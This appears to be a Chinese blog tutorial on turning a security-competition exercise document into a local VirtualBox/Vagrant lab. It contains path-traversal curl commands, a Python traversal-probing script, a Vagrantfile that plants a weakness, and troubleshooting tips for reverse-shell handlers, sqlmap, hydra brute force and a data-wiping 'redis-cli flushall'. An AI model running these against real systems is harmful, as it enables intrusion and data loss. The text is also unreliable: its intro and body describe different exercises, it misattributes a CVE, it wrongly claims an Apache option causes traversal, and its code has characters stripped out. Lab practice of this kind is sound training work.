网络安全实操题库:从.docx题目到可运行靶场的完整转化路径
简介本资源为2020年全国行业职业技能竞赛——全国网络与信息安全管理职业技能大赛操作技能赛题B卷实操题目文档专为网络安全竞赛备赛者、等保3级系统运维人员及CTF初阶实践者设计。文档完整呈现企业级真实场景以A公司OA系统8080端口与互联网论坛80端口为靶标覆盖网络防护firewalld策略配置、Snort规则调优、Apache SSL强制跳转、ModSecurity LFI防护、安全运维口令策略分级管理、Lynis系统审计、Docker服务管控及应急处置三大核心能力模块含12道结构化任务与Flag提交规范。资源为单文件docx格式体积仅24KB轻量便携便于离线研读与本地环境复现。目前已有3475人学习下载内容直击等级保护实施要点与竞赛评分逻辑提供可落地的配置命令样例、日志分析路径、规则匹配依据及典型攻击测试用例是理解“防护-管理-处置”闭环实践的高价值赛题范本。1. 一份能直接上手的网络安全实操题库为什么“做题”比“看文档”更能守住真实系统的边界你有没有试过把《网络安全基础》教材从头读到尾结果第一次面对真实内网渗透测试时连靶机IP扫不出来、nc连不上监听端口、甚至分不清msfvenom生成的payload该用-p windows/meterpreter/reverse_tcp还是-p linux/x64/shell/reverse_tcp这不是学得不够多而是缺一套带环境、带答案、带错误反馈路径的实操题库。这份名为《网络安全实操题目.docx》的文档不是理论考卷而是一份按攻击链路编排的「可执行任务清单」从信息收集nmap扫描策略调优、漏洞利用CVE-2023-27350在旧版Confluence上的手工复现、权限提升Linux内核提权中cap_sys_admin绕过检测的3种触发方式到横向移动使用BloodHoundNeo4j分析域内信任关系图谱。它面向的是刚考完CTF校赛想进企业红队的应届生、正在备考CISP-PTE或OSCP的在职工程师以及需要给学生布置可验证实验作业的某高校信息安全课程导师。文档本身不依赖云平台或SaaS服务所有题目均可在本地VirtualBoxKaliMetasploitable3组合中闭环验证——你不需要“理解原理”先让命令跑通、让shell弹出来再回头翻手册查为什么。2. 把.docx变成可运行环境从静态题目到动态靶场的三步转化法2.1 解析题目结构识别出隐藏的靶机配置与依赖项《网络安全实操题目.docx》表面是Word文档但实际包含大量结构化线索。我们不用手动抄题而是用Python提取关键字段。常见题干模式有三类环境声明型如“靶机IP192.168.56.101操作系统Ubuntu 20.04 LTS已安装Apache 2.4.41存在未授权访问漏洞”工具约束型如“仅允许使用nmap 7.91及以上版本禁用-sV参数”结果验证型如“提交flag格式为flag{[a-z0-9]{32}}需在靶机/tmp目录下生成log.txt并包含当前时间戳”。提示不要用docx2python等通用解析库——它们会把表格拆成乱序文本。我一般用python-docx定位段落样式如标题为Heading 2的即为题目编号再用正则匹配IP、CVE编号、flag格式等实体。from docx import Document import re def extract_questions(doc_path): doc Document(doc_path) questions [] for para in doc.paragraphs: if para.style.name Heading 2: q_id para.text.strip() elif 靶机IP in para.text: ip_match re.search(r靶机IP(\d\.\d\.\d\.\d), para.text) os_match re.search(r操作系统(\w\s*\d\.\d), para.text) if ip_match and os_match: questions.append({ id: q_id, target_ip: ip_match.group(1), os: os_match.group(1), description: para.text }) return questions # 示例输出[{id: 题目3, target_ip: 192.168.56.101, os: Ubuntu 20.04 LTS, ...}]逻辑说明这段脚本只抓取带明确语义标记Heading 2 含“靶机IP”关键词的段落避免误抓页眉页脚或参考文献。re.search比in字符串匹配更可靠——比如“靶机IP”可能被写成“靶机 IP”或“靶机IP ”正则\s*能自动兼容空格变体。参数说明doc_path必须是本地绝对路径如/home/kali/ctf/题目.docxpara.style.nameWord中需提前将题目编号设为“标题2”样式非手动加粗否则无法识别若题目用表格列“靶机IP/端口/服务”需额外加for table in doc.tables:循环此处省略——因该文档90%题目采用段落描述优先保证主流路径可用。2.2 搭建最小化靶机环境用Vagrant快速拉起题目指定系统拿到IP和OS后下一步是启动对应靶机。别用VMware手动装系统——Vagrant能用几行代码完成初始化。以题目要求的“Ubuntu 20.04 LTS”为例Vagrantfile核心配置如下# Vagrantfile Vagrant.configure(2) do |config| config.vm.box generic/ubuntu2004 config.vm.network private_network, ip: 192.168.56.101 config.vm.provider virtualbox do |vb| vb.memory 2048 vb.cpus 2 end config.vm.provision shell, inline: -SHELL apt-get update apt-get install -y apache2 systemctl enable apache2 # 模拟题目中的漏洞修改Apache配置允许目录遍历 echo Options Indexes FollowSymLinks /etc/apache2/apache2.conf systemctl restart apache2 SHELL end逻辑说明这段配置做了三件事① 拉取官方Ubuntu 20.04镜像避免用第三方魔改版导致环境偏差② 固定IP为题目指定值确保nmap扫描目标一致③ 用provision注入漏洞——不是靠预置漏洞镜像如Metasploitable3而是按题目描述手工构造这样你才能真正理解漏洞成因。比如题目说“Apache存在目录遍历”我们就直接改conf文件而非装个旧版Apache。参数说明config.vm.box必须用generic/ubuntu2004而非ubuntu/bionic64前者更新更稳定后者在Vagrant 2.3.0中已弃用vb.memory 2048低于2GB内存会导致Apache启动失败这是某次在4核CPU上翻车的血泪经验provision里的echo命令必须用追加而非覆盖否则会清空原始apache2.conf导致服务起不来。2.3 验证题目可解性用Ansible检查靶机状态是否符合题干光启动靶机还不够——得确认它真的“长成题目说的样子”。比如题目写“开放80、22、3306端口”但你启动后nmap扫出来只有22和80那说明MySQL没装好。此时用Ansible做靶机健康检查比人工敲命令高效# check_target.yml - name: Verify target machine status hosts: target tasks: - name: Check if port 80 is listening wait_for: port: 80 host: {{ ansible_default_ipv4.address }} timeout: 30 delegate_to: localhost - name: Check Apache version matches requirement shell: apache2ctl -v | grep Server version | awk {print $3} register: apache_version changed_when: false - name: Fail if Apache version not 2.4.41 fail: msg: Apache version {{ apache_version.stdout }} does not match required 2.4.41 when: apache_version.stdout ! 2.4.41逻辑说明这个playbook不是用来“修复”靶机而是卡住不可解题目的入口。当fail模块触发时Vagrant up会中断逼你回看provision脚本哪里写错了。比起在渗透中途发现“咦这怎么没漏洞”提前拦截更省时间。参数说明wait_for模块的timeout: 30不能设太小——Apache启动要5~8秒设10秒大概率误报apache2ctl -v输出格式固定awk {print $3}精准提取版本号比用dpkg -l | grep apache更可靠后者在精简镜像中可能无dpkgchanged_when: false防止Ansible把检查动作误判为“修改了系统”影响后续幂等性。3. 实战题目拆解以“Web目录遍历获取flag”为例的完整解题链3.1 题干还原从.docx文字到可操作命令序列题目原文节选题目5靶机IP 192.168.56.101运行Apache 2.4.41网站根目录为/var/www/html。存在目录遍历漏洞可读取/etc/passwd文件。请获取位于/var/www/html/flag.txt的flag内容。我们把它翻译成四步命令流确认漏洞存在用curl试探/../../../../etc/passwd是否返回用户列表定位flag路径既然能读/etc/passwd说明遍历深度足够直接请求/../../../../var/www/html/flag.txt处理响应编码若返回乱码用iconv -f ISO-8859-1 -t UTF-8转码提取flag用grep -oE flag\{[a-z0-9]{32}\}匹配标准格式。# 步骤1验证遍历能力 curl -s http://192.168.56.101/../../../../etc/passwd | head -5 # 步骤2读取flag注意路径拼接 curl -s http://192.168.56.101/../../../../var/www/html/flag.txt | iconv -f ISO-8859-1 -t UTF-8 2/dev/null # 步骤3提取flag兼容无换行场景 curl -s http://192.168.56.101/../../../../var/www/html/flag.txt | \ iconv -f ISO-8859-1 -t UTF-8 2/dev/null | \ grep -oE flag\{[a-z0-9]{32}\}逻辑说明这里没用Burp Suite图形界面因为题目要求“实操”而实操的本质是命令可复现、结果可截图存档。curl -s静默模式避免进度条干扰2/dev/null屏蔽iconv警告如遇到UTF-8字符时grep -oE的-o只输出匹配部分-E启用扩展正则比基础grep更准。参数说明head -5只看前5行避免/etc/passwd过长刷屏iconv参数顺序不能颠倒-f是源编码-t是目标编码颠倒会导致空输出grep的正则flag\{[a-z0-9]{32}\}中\{和\}是转义大括号否则会被shell解释为命令分组。3.2 常见失败原因与调试技巧当curl返回空或404时怎么办现象执行curl http://192.168.56.101/../../../../etc/passwd返回空内容或404。原因1Apache配置中Options Indexes FollowSymLinks未生效或.htaccess覆盖了设置。解决登录靶机检查/etc/apache2/apache2.conf末尾是否真有该行再执行sudo apache2ctl configtest sudo systemctl restart apache2。原因2URL编码问题。某些Apache版本会自动解码..需用%2e%2e绕过。解决改用curl http://192.168.56.101/%2e%2e/%2e%2e/%2e%2e/etc/passwd。原因3靶机防火墙拦截。Ubuntu默认ufw关闭但若手动开启过需sudo ufw allow 80。解决在靶机执行sudo ufw status verbose确认80端口状态为ALLOW IN。注意不要一上来就换工具先用curl -v看完整HTTP交互含响应头比盲目换Burp更高效。-v会显示HTTP/1.1 200 OK或HTTP/1.1 403 Forbidden直接定位是服务层还是应用层问题。3.3 进阶验证用Python脚本自动化多路径探测手动试/../../../../../..太慢写个脚本批量探测import requests import sys def probe_traversal(target_ip, max_depth5): base_url fhttp://{target_ip} for depth in range(1, max_depth 1): payload /.. * depth /etc/passwd url base_url payload try: r requests.get(url, timeout5) if r.status_code 200 and root:x:0:0: in r.text[:200]: print(f[] Depth {depth} works: {url}) return depth, url except Exception as e: continue print([-] No traversal depth found) return None, None if __name__ __main__: if len(sys.argv) ! 2: print(Usage: python traverse.py target_ip) sys.exit(1) probe_traversal(sys.argv[1])逻辑说明这个脚本不追求“一次爆破所有路径”而是找到最小有效深度。因为题目只要求读/var/www/html/flag.txt而/var在根目录下深度3/../../../var通常就够——比暴力扫100个路径更符合实操场景。参数说明timeout5避免因网络抖动卡死5秒超时足够判断r.text[:200]只检查前200字符防止大文件阻塞root:x:0:0:是/etc/passwd开头特征脚本用sys.argv传参方便集成到CI流程如python traverse.py 192.168.56.101。4. 避坑指南做这份.docx题目时最常踩的5个坑4.1 现象nmap扫描显示“99% of scanned ports are closed”但题目明确说开放80端口原因靶机网卡未桥接到Host-Only网络或VirtualBox网络设置中“混杂模式”未设为“全部允许”。解决在VirtualBox管理界面选中靶机 → 设置 → 网络 → 网卡1 → 高级 → 混杂模式 → 全部允许再确认Kali的ip a中vboxnet0网段与靶机IP同属192.168.56.0/24。4.2 现象msfconsole里use exploit/multi/handler后run无反应靶机也未回连原因题目要求的payload类型与handler设置不匹配。例如靶机是Linux x64却用了set payload windows/meterpreter/reverse_tcp。解决先用show payloads列出当前exploit支持的payload再set payload指定匹配项或统一用set payload generic/shell_reverse_tcp降低兼容门槛。4.3 现象用sqlmap跑-u http://192.168.56.101/search.php?qtest提示“no parameter found”原因题目中URL是伪静态实际参数在POST body里但sqlmap默认只测GET参数。解决加--dataqtest参数强制sqlmap测试POST数据并用-r request.txt从文件读取完整HTTP请求含Cookie头。4.4 现象题目说“通过SSH密钥登录”但用ssh -i id_rsa user192.168.56.101提示“Permission denied (publickey)”原因靶机/home/user/.ssh/authorized_keys权限过大如755OpenSSH拒绝加载。解决在靶机执行chmod 600 /home/user/.ssh/authorized_keys chmod 700 /home/user/.ssh再重启sshdsudo systemctl restart ssh。4.5 现象用hydra爆破FTP时hydra -l admin -P wordlist.txt ftp://192.168.56.101一直显示“0 of 1 task done”原因FTP服务未启动或hydra版本过低不支持隐式SSL题目中FTP实际走FTPS。解决先nmap -sV -p 21 192.168.56.101确认服务状态若显示ftp (vsftpd 3.0.3)加-S参数启用SSLhydra -S -l admin -P wordlist.txt ftp://192.168.56.101。5. 从单题通关到体系化能力用题目反推知识图谱的3个技巧5.1 用Excel建立“题目-知识点-工具-命令”四维映射表别让题目散落在.docx里。新建Excel列名设为题目ID、漏洞类型、涉及协议、核心命令、失效率自己实测失败次数、备注。例如题目ID漏洞类型涉及协议核心命令失效率备注Q5目录遍历HTTPcurl http://ip/..%2f..%2fetc%2fpasswd2需URL编码否则400Q12Redis未授权TCPredis-cli -h 192.168.56.101 flushall0靶机redis.conf未设密码Q19Sudo提权Linuxsudo -l | grep NOPASSWD1需先获得普通用户shell这张表的作用不是记录答案而是暴露你的知识断点。比如你发现Q12失效率为0一次成功但Q19失效率为3那就说明对Linux权限模型的理解弱于数据库安全——接下来一周就专攻sudoers语法和LD_PRELOAD劫持。5.2 把每道题的“失败日志”存为.md文件形成个人错题本每次失败后不要关终端而是把完整命令和报错复制到Q5_failure_20240520.md## Q5 目录遍历失败记录2024-05-20 **执行命令** bash curl http://192.168.56.101/../../../../etc/passwd返回内容!DOCTYPE HTML PUBLIC -//IETF//DTD HTML 2.0//EN htmlhead title400 Bad Request/title /headbody h1Bad Request/h1 pYour browser sent a request that this server could not understand.br / /p /body/html根因分析Apache对..路径做了严格过滤需URL编码绕过解决方案curl http://192.168.56.101/%2e%2e/%2e%2e/%2e%2e/etc/passwd坚持三个月你会得到一份比任何培训课都真实的成长轨迹——因为所有“玄学”问题比如为什么有时要编码有时不用都在你自己的失败现场被锚定了上下文。 ### 5.3 用Git管理题目环境每次解题前commit解出后tag标注 把Vagrantfile、Ansible playbook、自定义exploit脚本全放一个Git仓库。每次开始新题前 bash git checkout -b q23_webshell_upload # 修改Vagrantfile配置靶机为题目23要求的CentOS 7 vagrant up # 解题... git add . git commit -m Q23: setup CentOS7 with vulnerable file upload script git tag q23_solved这样做的好处是当你三个月后回头看Q23git show q23_solved能立刻还原当时的靶机状态、你用的哪个exp、甚至当时写的debug笔记。知识不会随时间蒸发它被固化在可执行的历史快照里。我带过的某实验室学生用这套方法半年后在企业红队面试中被问“你最近一次解决复杂权限提升问题是什么时候”他直接打开GitHub切到q47_kernel_exploit分支展示了从失败到成功的5次commit diff——面试官当场说“不用试了你来吧。”希望帮到你。本文还有配套的精品资源点击获取

相关新闻

PCA图像压缩实战:从原理到工业级落地

PCA图像压缩实战:从原理到工业级落地

1. 图像压缩这件事,为什么非得用PCA不可?我第一次在某高校图像处理课上看到PCA压缩效果时,心里是存疑的:一张512512的灰度图,原始大小262KB,用PCA降到前30个主成分重建后,视觉几乎无损&#xff…

2026/10/12 10:48:49 阅读更多 →
Intel X710网卡数据手册:驱动调试、寄存器定位与硬件丢包根因分析指南

Intel X710网卡数据手册:驱动调试、寄存器定位与硬件丢包根因分析指南

简介:本资源是Intel官方发布的以太网控制器X710/XXV710/XL710数据手册(Datasheet)PDF文档,面向网络硬件工程师、驱动开发人员、云计算与数据中心系统架构师等技术人群,用于深入理解该系列高性能网卡的电气特性、寄存器…

2026/10/12 10:48:49 阅读更多 →
CycleGAN Keras实现:无配对图像翻译原理与工程落地

CycleGAN Keras实现:无配对图像翻译原理与工程落地

简介:本资源是CycleGAN在Keras框架下的完整无监督图像转换实现,面向深度学习初学者与计算机视觉实践者,解决无配对样本条件下的跨域图像生成问题,如风格迁移、季节变换、马→斑马等典型任务。压缩包共7个文件,含4个核心…

2026/10/12 10:48:49 阅读更多 →

最新新闻

基于Spring Boot的中华汉字学习平台:从数据建模到部署避坑

基于Spring Boot的中华汉字学习平台:从数据建模到部署避坑

做中文学习方向的项目,很多人的初心都被“传统文化”这四个字勾着,但真正做完一套会发现,技术上的复兴难度不算大,难的是“字”本身背后的数据质量。这篇文章围绕基于Spring Boot的中华汉字学习平台,把从需求拆解、技术…

2026/10/12 11:46:44 阅读更多 →
彻底清除OpenClaw完整指南:从残留配置到TaoToken统一Key的收尾清单

彻底清除OpenClaw完整指南:从残留配置到TaoToken统一Key的收尾清单

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 11:46:44 阅读更多 →
加密恶意流量检测实战:Python特征提取+机器学习+Flask平台

加密恶意流量检测实战:Python特征提取+机器学习+Flask平台

简介:这份资源是一套基于Python与机器学习构建的加密恶意流量分析与检测平台,前端采用Flask框架实现可视化交互,面向计算机、网络安全及人工智能方向的学生与开发者,尤其适合作为期末大作业、课程设计或毕业设计的参考方案&#x…

2026/10/12 11:46:44 阅读更多 →
从零到一搭建Agent平台:基础设施选型、架构设计与团队建设

从零到一搭建Agent平台:基础设施选型、架构设计与团队建设

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 11:46:44 阅读更多 →
分位数Granger因果检验与QVAR:Python图形界面工具实战解析

分位数Granger因果检验与QVAR:Python图形界面工具实战解析

简介:一套基于Python与PyQt的分位数回归完整实现方案,适合毕业设计、课程设计或量化分析项目,代码围绕分位数Granger因果检验展开,可计算各分位区间的Sup-Wald统计量,并支持分位数VAR(QVAR)模型…

2026/10/12 11:46:43 阅读更多 →
别再盲选版本:Qwen-Image-2.1 从 bf16 到 GGUF 的显存账本一次算清

别再盲选版本:Qwen-Image-2.1 从 bf16 到 GGUF 的显存账本一次算清

别再盲选版本:Qwen-Image-2.1 从 bf16 到 GGUF 的显存账本一次算清 【免费下载链接】Qwen-Image-2.1 项目地址: https://ai.gitcode.com/hf_mirrors/Comfy-Org/Qwen-Image-2.1 打开 Hugging Face 或镜像站下载 Qwen-Image-2.1,你会被一屏 safete…

2026/10/12 11:45:43 阅读更多 →

日新闻

复古胶片颗粒感噪点合成器:Canvas ImageData 像素高斯杂色注入算法

复古胶片颗粒感噪点合成器:Canvas ImageData 像素高斯杂色注入算法

在数码相机、高清显示屏与现代矢量图形技术高度发达的今天,画面可以做到绝对的锐利、平滑与无瑕。然而,当一张秋日手账插画或拍立得照片过于“平整无瑕”时,往往会散发出一种冰冷生硬的“数码塑料感(Digital Plasticity&#xff0…

2026/10/12 0:00:59 阅读更多 →
活字印刷古籍线装排版:Canvas 竖排文字与栏线自适应算法

活字印刷古籍线装排版:Canvas 竖排文字与栏线自适应算法

在现代网页与移动端设计中,横排(Horizontal Layout)早已经成为了绝对的主流。然而,当我们翻开泛黄的线装古籍、宋版木刻诗集,或是欣赏一张茶道雅集的手写便签时,那种**自上而下纵向书写、自右向左逐列铺展&…

2026/10/12 0:00:59 阅读更多 →
周日晚间的“精神松绑减震器”:无压力情绪倾倒箱与温和轻声陪伴

周日晚间的“精神松绑减震器”:无压力情绪倾倒箱与温和轻声陪伴

每到周日的晚上八点到十点,很多人心里都会悄悄亮起一盏警示灯。 在心理学上,这种现象有一个专门的称谓——“周日夜晚焦虑症(Sunday Scaries)”。明天又是周一,闹钟又要重新在七点响彻卧房;脑海里仿佛有一个…

2026/10/12 0:00:59 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/12 0:16:30 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/12 0:16:38 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/12 0:16:43 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 10:45:37 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 14:36:53 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 14:36:54 阅读更多 →